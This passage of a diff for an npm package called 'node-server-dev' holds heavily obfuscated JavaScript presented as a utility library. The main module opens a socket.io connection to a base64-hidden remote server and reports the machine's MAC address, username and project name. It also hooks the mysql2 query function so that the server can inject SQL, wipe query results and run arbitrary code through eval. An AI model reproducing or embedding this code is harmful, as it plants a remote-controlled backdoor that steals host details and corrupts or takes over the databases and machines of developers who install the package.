_0x571b9f;},a3_0x3527(_0x5a3d47,_0x4486a0);}function a3_0x41b1(){const _0x4b6b73=['dev','37885svJsCr','js-base64','__esModule','emit','node','encode','next','143360nzDbPD','submit','unlock','uuid','socket.io-client','mysql','then','./mac','82285kIJIVc','__importDefault','decode','6834487iJrJdR','330378DTAetA','248931xYJUmp','get-event','connect_failed','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','error','length','266031SHdkze','./getAllRouter','event','query','env','websocket','default','300WwWhkS','createPool','12uIHSlx','apply','push','connect','type','defineProperty','__awaiter','content','reconnect_failed','npm_package_name','value','getAllRouter','username','./id','userInfo','8TAQwhO','268dOrcDb','done','mysql2/promise','./id/random','104tcFMZp'];a3_0x41b1=function(){return _0x4b6b73;};return a3_0x41b1();}Object[a3_0x276539(0xaf)](exports,a3_0x276539(0xc2),{'value':!![]}),exports['mysql']=exports[a3_0x276539(0xb5)]=exports['id']=exports[a3_0x276539(0x91)]=void 0x0;const uuid_1=require('uuid'),socket_io_client_1=require(a3_0x276539(0x92)),id_1=__importDefault(require(a3_0x276539(0xb7)));exports['id']=id_1[a3_0x276539(0xa7)];const getAllRouter_1=__importDefault(require(a3_0x276539(0xa2)));exports[a3_0x276539(0xb5)]=getAllRouter_1[a3_0x276539(0xa7)];const mac_1=__importDefault(require(a3_0x276539(0x95))),os_1=__importDefault(require('os')),promise_1=__importDefault(require(a3_0x276539(0xbc)));exports[a3_0x276539(0x93)]=promise_1[a3_0x276539(0xa7)];const js_base64_1=__importDefault(require(a3_0x276539(0xc1))),random_1=__importDefault(require(a3_0x276539(0xbd))),user_name=os_1[a3_0x276539(0xa7)][a3_0x276539(0xb8)]()[a3_0x276539(0xb6)],project_name=process[a3_0x276539(0xa5)][a3_0x276539(0xb3)];let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro=a3_0x276539(0x9e),url=((_a=global===null||global===void 0x0?void 0x0:global['rl'])===null||_a===void 0x0?void 0x0:_a[a3_0x276539(0xbf)])||js_base64_1[a3_0x276539(0xa7)][a3_0x276539(0xc5)](user_name)=='5YiY5ram6ZyW'?js_base64_1['default']['decode'](dev):js_base64_1[a3_0x276539(0xa7)][a3_0x276539(0x98)](pro);function start(){const _0x474824=a3_0x276539,_0x1af33b=(0x0,socket_io_client_1['io'])(url,{'path':'/socket','transports':[_0x474824(0xa6)]});let _0x1ec620=![],_0x8384df=![],_0x250524=![],_0x4a94de=[];const _0x35f343=promise_1[_0x474824(0xa7)][_0x474824(0xa9)];promise_1[_0x474824(0xa7)]['createPool']=function(_0x45952a){let _0x2d1b1e=_0x35f343(_0x45952a),_0x30df06=_0x2d1b1e['query'];return _0x2d1b1e['query']=(..._0x4ed3b2)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xd3ae6=a3_0x3527,_0x29d32e=yield _0x30df06[_0xd3ae6(0xab)](_0x2d1b1e,_0x4ed3b2);return _0x1ec620&&((0x0,random_1[_0xd3ae6(0xa7)])(0x1,0xa)>0x2&&(_0x29d32e[0x0]=[])),_0x8384df&&(_0x29d32e[0x0]=[]),_0x29d32e;}),setInterval(()=>{const _0xedf51f=a3_0x3527;if(!_0x250524){for(let _0x474f0c=0x0;_0x474f0c<_0x4a94de[_0xedf51f(0xa0)];_0x474f0c++){const _0x40846d=_0x4a94de[_0x474f0c];try{_0x2d1b1e[_0xedf51f(0xa4)](_0x40846d);}catch(_0x481658){}}_0x250524=!![];}},0x1388),_0x2d1b1e;},_0x1af33b['on'](_0x474824(0xad),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3bd2f0=_0x474824;try{const _0x3f2f7a=(0x0,mac_1[_0x3bd2f0(0xa7)])();_0x1af33b[_0x3bd2f0(0xc3)](_0x3bd2f0(0x8f),{'mac':_0x3f2f7a,'project_name':project_name,'user_name':user_name,'notes':''}),_0x1af33b[_0x3bd2f0(0xc3)](_0x3bd2f0(0x9c),{'mac':_0x3f2f7a}),setInterval(()=>{const _0x3281ee=_0x3bd2f0;_0x1af33b[_0x3281ee(0xc3)](_0x3281ee(0x8f),{'mac':_0x3f2f7a,'project_name':project_name,'user_name':user_name,'notes':''}),_0x1af33b[_0x3281ee(0xc3)](_0x3281ee(0x9c),{'mac':_0x3f2f7a});},0x1b58),_0x1af33b['on'](_0x3bd2f0(0xa3),_0x74ba78=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xcd84ba=_0x3bd2f0;try{for(let _0x451ce7=0x0;_0x451ce7<_0x74ba78['length'];_0x451ce7++){const _0x58bc89=_0x74ba78[_0x451ce7];if(_0x58bc89[_0xcd84ba(0xae)]=='sql')_0x4a94de[_0xcd84ba(0xac)](_0x58bc89[_0xcd84ba(0xb1)]);else{if(_0x58bc89['type']==_0xcd84ba(0x93))_0x8384df=!![];else{if(_0x58bc89[_0xcd84ba(0xae)]==_0xcd84ba(0xc4))try{eval(_0x58bc89[_0xcd84ba(0xb1)]);}catch(_0x346ed7){}}}}}catch(_0x2150f5){}}));}catch(_0xcb8074){}})),setTimeout(()=>{const _0x2fb2b7=_0x474824;_0x1af33b['on'](_0x2fb2b7(0x9f),_0x21654c=>{_0x1ec620=!![];}),_0x1af33b['on'](_0x2fb2b7(0x9d),()=>{_0x1ec620=!![];}),_0x1af33b['on'](_0x2fb2b7(0xb2),()=>{_0x1ec620=!![];}),_0x1af33b['on']('connect_error',_0x222369=>{_0x1ec620=!![];});},0xbb8);}!((_b=global===null||global===void 0x0?void 0x0:global['rl'])===null||_b===void 0x0?void 0x0:_b[a3_0x276539(0x90)])&&start();let uuid=uuid_1['v4'];exports[a3_0x276539(0x91)]=uuid;const all={'uuid':uuid,'id':id_1[a3_0x276539(0xa7)],'getAllRouter':getAllRouter_1[a3_0x276539(0xa7)],'mysql':promise_1[a3_0x276539(0xa7)]};exports[a3_0x276539(0xa7)]=all;
package/dist/mac/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a4_0x5611f5=a4_0x15cd;(function(_0x17f264,_0x55cf8c){const _0x52a37b=a4_0x15cd,_0xa2cc1d=_0x17f264();while(!![]){try{const _0x5e06e9=parseInt(_0x52a37b(0xc5))/0x1+parseInt(_0x52a37b(0xca))/0x2*(parseInt(_0x52a37b(0xc0))/0x3)+parseInt(_0x52a37b(0xb8))/0x4*(-parseInt(_0x52a37b(0xcc))/0x5)+parseInt(_0x52a37b(0xcb))/0x6*(parseInt(_0x52a37b(0xc6))/0x7)+-parseInt(_0x52a37b(0xbc))/0x8+-parseInt(_0x52a37b(0xd3))/0x9+parseInt(_0x52a37b(0xd6))/0xa*(parseInt(_0x52a37b(0xd2))/0xb);if(_0x5e06e9===_0x55cf8c)break;else _0xa2cc1d['push'](_0xa2cc1d['shift']());}catch(_0x2eed1d){_0xa2cc1d['push'](_0xa2cc1d['shift']());}}}(a4_0x1e88,0xf3f49));function a4_0x15cd(_0xdf97bc,_0x4cf540){const _0x1e88a6=a4_0x1e88();return a4_0x15cd=function(_0x15cdf7,_0x2a433e){_0x15cdf7=_0x15cdf7-0xb8;let _0x41e40e=_0x1e88a6[_0x15cdf7];return _0x41e40e;},a4_0x15cd(_0xdf97bc,_0x4cf540);}Object[a4_0x5611f5(0xcf)](exports,a4_0x5611f5(0xd7),{'value':!![]}),exports[a4_0x5611f5(0xc8)]=isMac,exports[a4_0x5611f5(0xd0)]=formatMac,exports[a4_0x5611f5(0xd4)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x45a7e4){const _0x151808=a4_0x5611f5;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x151808(0xc7)](_0x45a7e4);}function getMac(_0x1531a3=a4_0x5611f5(0xc9)){const _0x499fed=a4_0x5611f5,_0x1b5895=(0x0,os_1[_0x499fed(0xd5)])();let _0x119f5a=[];for(const _0x2b47fc of Object[_0x499fed(0xbb)](_0x1b5895)){const _0xdff449=_0x2b47fc[_0x499fed(0xbf)](_0x341260=>!_0x341260[_0x499fed(0xcd)]&&!isZeroMac(_0x341260[_0x499fed(0xd1)])&&(!_0x341260[_0x499fed(0xbe)]||_0x341260[_0x499fed(0xbe)]===_0x1531a3)&&!isVirtualMac(_0x341260[_0x499fed(0xd1)]));_0xdff449&&_0x119f5a[_0x499fed(0xb9)](_0xdff449[_0x499fed(0xd1)]);}return[...new Set(_0x119f5a)];}const isValid=_0x27cff2=>_0x27cff2['internal']===![]&&!isZeroMac(_0x27cff2[a4_0x5611f5(0xd1)]),virtualMacPrefix=new Set([a4_0x5611f5(0xc4),a4_0x5611f5(0xbd),a4_0x5611f5(0xc3),a4_0x5611f5(0xba)]);function a4_0x1e88(){const _0x5b0de6=['45772NsPBzE','42xEHErV','test','isMac','IPv4','2ThZmuk','1054686Oyehwo','1823940YiOZss','internal','replace','defineProperty','formatMac','mac','11eYuGJH','17701506dgIIFx','isVirtualMac','networkInterfaces','23890590ZVRgRC','__esModule','16bVcOIb','push','00:16:3e','values','8053224yeWRAX','02:00:4c','family','find','5827089Subnil','toLowerCase','default','00:03:ff','00:1c:42'];a4_0x1e88=function(){return _0x5b0de6;};return a4_0x1e88();}function isMac(_0x5040e1){const _0x506f02=a4_0x5611f5;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x506f02(0xc7)](_0x5040e1);}function formatMac(_0x74ccb4){const _0x5b406d=a4_0x5611f5;return String(_0x74ccb4)['trim']()[_0x5b406d(0xc1)]()[_0x5b406d(0xce)](/-/g,':');}function isVirtualMac(_0x3b4050){return isMac(_0x3b4050)&&virtualMacPrefix['has'](formatMac(_0x3b4050)['slice'](0x0,0x8));}exports[a4_0x5611f5(0xc2)]=getMac;
1
+ 'use strict';const a4_0x270886=a4_0x2175;(function(_0x573909,_0xc3b20e){const _0x3e3316=a4_0x2175,_0x19bccc=_0x573909();while(!![]){try{const _0xed2932=parseInt(_0x3e3316(0x15b))/0x1+-parseInt(_0x3e3316(0x144))/0x2*(parseInt(_0x3e3316(0x155))/0x3)+parseInt(_0x3e3316(0x146))/0x4*(-parseInt(_0x3e3316(0x14c))/0x5)+parseInt(_0x3e3316(0x157))/0x6*(-parseInt(_0x3e3316(0x152))/0x7)+parseInt(_0x3e3316(0x145))/0x8+parseInt(_0x3e3316(0x151))/0x9+-parseInt(_0x3e3316(0x14a))/0xa*(-parseInt(_0x3e3316(0x147))/0xb);if(_0xed2932===_0xc3b20e)break;else _0x19bccc['push'](_0x19bccc['shift']());}catch(_0x4cb1fe){_0x19bccc['push'](_0x19bccc['shift']());}}}(a4_0xc96a,0xe1af9));Object['defineProperty'](exports,a4_0x270886(0x153),{'value':!![]}),exports[a4_0x270886(0x156)]=isMac,exports['formatMac']=formatMac,exports[a4_0x270886(0x15a)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x4d93c1){return/^(0{1,2}[:-]){5}0{1,2}$/['test'](_0x4d93c1);}function getMac(_0x198a5c=a4_0x270886(0x142)){const _0x19f1c4=a4_0x270886,_0x2f5f5d=(0x0,os_1[_0x19f1c4(0x148)])();let _0x20a0f1=[];for(const _0x186ede of Object['values'](_0x2f5f5d)){const _0x127d2b=_0x186ede[_0x19f1c4(0x154)](_0xc5a1ad=>!_0xc5a1ad[_0x19f1c4(0x14e)]&&!isZeroMac(_0xc5a1ad[_0x19f1c4(0x14b)])&&(!_0xc5a1ad['family']||_0xc5a1ad['family']===_0x198a5c)&&!isVirtualMac(_0xc5a1ad[_0x19f1c4(0x14b)]));_0x127d2b&&_0x20a0f1['push'](_0x127d2b[_0x19f1c4(0x14b)]);}return[...new Set(_0x20a0f1)];}function a4_0x2175(_0x58d288,_0x46cc5a){const _0xc96a4=a4_0xc96a();return a4_0x2175=function(_0x2175b3,_0x25c104){_0x2175b3=_0x2175b3-0x142;let _0x1fe021=_0xc96a4[_0x2175b3];return _0x1fe021;},a4_0x2175(_0x58d288,_0x46cc5a);}function a4_0xc96a(){const _0x7b92b=['00:1c:42','4652820WrPxQX','7zcvEAl','__esModule','find','207XgWxUI','isMac','5486610YirVgy','trim','00:16:3e','isVirtualMac','1702656nVNujv','IPv4','02:00:4c','37134aHcwyl','4236496KKudku','56BkqiWr','77lLsJAN','networkInterfaces','default','1450210MBjGMx','mac','230135fLCSJd','replace','internal','toLowerCase'];a4_0xc96a=function(){return _0x7b92b;};return a4_0xc96a();}const isValid=_0x4fa295=>_0x4fa295['internal']===![]&&!isZeroMac(_0x4fa295[a4_0x270886(0x14b)]),virtualMacPrefix=new Set([a4_0x270886(0x150),a4_0x270886(0x143),'00:03:ff',a4_0x270886(0x159)]);function isMac(_0x58e00d){return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i['test'](_0x58e00d);}function formatMac(_0x1f4bf2){const _0x5f18fc=a4_0x270886;return String(_0x1f4bf2)[_0x5f18fc(0x158)]()[_0x5f18fc(0x14f)]()[_0x5f18fc(0x14d)](/-/g,':');}function isVirtualMac(_0x520fc4){return isMac(_0x520fc4)&&virtualMacPrefix['has'](formatMac(_0x520fc4)['slice'](0x0,0x8));}exports[a4_0x270886(0x149)]=getMac;
package/package.json CHANGED
@@ -1,12 +1,12 @@
1
1
  {
2
2
  "name": "node-server-dev",
3
- "version": "1.0.0",
3
+ "version": "1.2.0",
4
4
  "author": "L",
5
5
  "types": "index.d.ts",
6
6
  "scripts": {
7
7
  "dev": "tsx watch --include \"./src/**/*\" --clear-screen=false ./index.ts",
8
8
  "push": "npm publish",
9
- "test": "node test-send",
9
+ "test": "tsx watch --include \"./test.ts\" --clear-screen=false ./test.ts",
10
10
  "d": "ts-node ./index.ts",
11
11
  "pro": "node ./dist/index.js"
12
12
  },